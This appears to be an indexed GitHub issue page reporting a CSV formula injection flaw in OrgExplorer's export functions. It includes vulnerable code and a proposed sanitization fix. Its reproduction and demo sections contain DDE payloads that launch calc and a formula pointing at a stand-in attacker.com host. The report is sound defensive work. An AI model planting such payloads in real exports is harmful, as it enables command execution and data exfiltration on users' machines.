[BUG]: Security: CSV Formula Injection (CWE-1236) in repository and contributor export files
Maintainers usually reply within 1 day
Nobody has claimed this yet.
- #405 by @kul-91 — closed without merging
Assessment
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Newbie friendliness
- 78/100
- Issue type
- Bug
- Clarity
- Clearly specified
- Activity status
- Active
- Tech stack
- javascript
Research direction
Start with src/services/analytics.js and inspect exportReposCSV, exportContributorsCSV, and exportTrendsCSV to see how their values are assembled into CSV rows. Add tests in the analytics test file named in the issue, covering formula-triggering prefixes and ordinary values. Done means all three exports neutralize formula cells and correctly escape CSV delimiters, with the tests passing.
Written by the indexing model from the issue text.
Description
Bug Description
The CSV export utilities in src/services/analytics.js (exportReposCSV, exportContributorsCSV, exportTrendsCSV) do not sanitize cell values against Formula Injection (Spreadsheet Injection / CWE-1236).
When repository names, organization logins, or contributor usernames on GitHub start with formula execution trigger characters (=, +, -, @, \t, \r), OrgExplorer exports them directly into the generated .csv files without neutralization.
If a user downloads the CSV and opens it in spreadsheet applications (Microsoft Excel, LibreOffice Calc, Google Sheets), the application interprets the text as an executable formula. This enables Dynamic Data Exchange (DDE) formula execution, malicious external link opening, or data exfiltration.
Vulnerable code (src/services/analytics.js):
export function exportReposCSV(repos) {
const header = ['Repository', 'Org', 'Stars', 'Forks', 'Open Issues', 'Health Score', 'Activity Classification', 'Language', 'Last Active']
const rows = repos.map(r => [r.name, r.orgLogin, r.stargazers_count, r.forks_count, r.open_issues_count, r.healthScore, r.activityClassification, r.language || 'N/A', r.pushed_at?.slice(0, 10)])
download([header, ...rows].map(r => r.join(',')).join('\n'), 'orgexplorer-repos.csv')
}
Steps to Reproduce
- On GitHub, a repository, organization, or contributor profile has a name starting with formula characters, e.g.:
=cmd|' /C calc'!A0or@SUM(1+1)*cmd|...or+http://attacker.com/leak - Explore that organization or repository in OrgExplorer.
- Click "Export CSV" on the Repositories or Contributors page.
- Open the downloaded
.csvfile in Microsoft Excel or LibreOffice. - Notice that the spreadsheet software evaluates the cell as a dynamic formula command instead of literal plain text.
Demonstration / Payload Sample
Generated CSV content without neutralization:
Repository,Org,Stars,Forks,Open Issues,Health Score,Activity Classification,Language,Last Active
=cmd|' /C calc'!A0,AOSSIE-Org,120,45,2,95,Active,JavaScript,2026-10-18
@SUM(1+1)*cmd|' /C calc'!A0,test-org,50,10,0,88,Active,TypeScript,2026-10-18
When opened in Excel / Calc:
- The cell executes as a formula or throws a formula syntax error (
#NAME?/ DDE security warning) because the leading=or@instructs the spreadsheet parser to treat it as executable logic.
Environment Details
- Applicable across all operating systems (Windows, macOS, Linux) and spreadsheet applications (Excel, LibreOffice, Google Sheets).
- Code location:
src/services/analytics.js
Impact
High - Major security & data export risk (CWE-1236)
Proposed Fix
Implement cell sanitization adhering to OWASP CSV Injection guidelines:
- If a string cell starts with any formula operator (
=,+,-,@,\t,\r), prefix the value with a single quote'so the spreadsheet engine forces it to render strictly as literal text. - Combine this with RFC 4180 delimiter escaping (wrapping fields containing commas, quotes, or newlines in double quotes).
- Add unit test coverage in
src/services/analytics.*.test.jsverifying that formula characters are neutralized without corrupting standard alphanumeric values.
- Dominant language
- JavaScript
- Stars
- 53
- Forks
- 187
- Avg merge
- 18m
- Merged PRs (30d)
- 2
Getting set up
- No Dockerfile or Docker Compose file
- Has a pull request template
- Read the contributing guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from AOSSIE-Org/OrgExplorer
-
[BUG]: Organization filter dropdown in AnalyticsPage renders empty list due to truthy evaluation of empty issuesDataPossibly taken @havyasreekuppam claimed this 5 days ago. Openbug
Difficulty 2/5 1-3 hours Newbie friendliness 82/100
AOSSIE-Org/OrgExplorer#476 · 5 comments ·
Maintainers usually reply within 1 day
-
Add Pat for 5000 req/hr button not visible when pat expiresPossibly taken @Rajvardhan-Singh-Rathore claimed this 6 days ago. Openbug
Difficulty 2/5 1-3 hours Newbie friendliness 62/100
AOSSIE-Org/OrgExplorer#473 · 6 comments ·
Maintainers usually reply within 1 day
-
[BUG]: PAT popup input lacks label association and visibility button lacks an accessible namePossibly taken @prasanm1423 claimed this 10 days ago. Openbug enhancement
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
AOSSIE-Org/OrgExplorer#466 · 2 comments ·
Maintainers usually reply within 1 day
-
[FEATURE]: Set dynamic document.title based on active page routePossibly taken @23241a6749 claimed this 8 days ago. Openenhancement
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
AOSSIE-Org/OrgExplorer#462 · 2 comments ·
Maintainers usually reply within 1 day
-
[BUG]: SocialShareButton logs unconditional console.warn when script is not loadedPossibly taken @vivekrajputofficial29-afk claimed this 8 days ago. Openbug enhancement
Difficulty 1/5 Under an hour Newbie friendliness 89/100
AOSSIE-Org/OrgExplorer#461 · 1 comment ·
Maintainers usually reply within 1 day
All issues in AOSSIE-Org/OrgExplorer
Similar issues
-
marketing
Difficulty 2/5 1-3 hours Newbie friendliness 82/100
Maintainers usually reply within 1 day
-
Difficulty 2/5 1-3 hours Newbie friendliness 75/100
Kanevry/session-orchestrator#108 ·
-
Difficulty 1/5 Under an hour Newbie friendliness 88/100
awesomemotive/all-in-one-seo-pack#3238 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 82/100
andromarces/agent-loops#2055 ·
Maintainers usually reply within 1 day
-
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
Maintainers usually reply within 2 days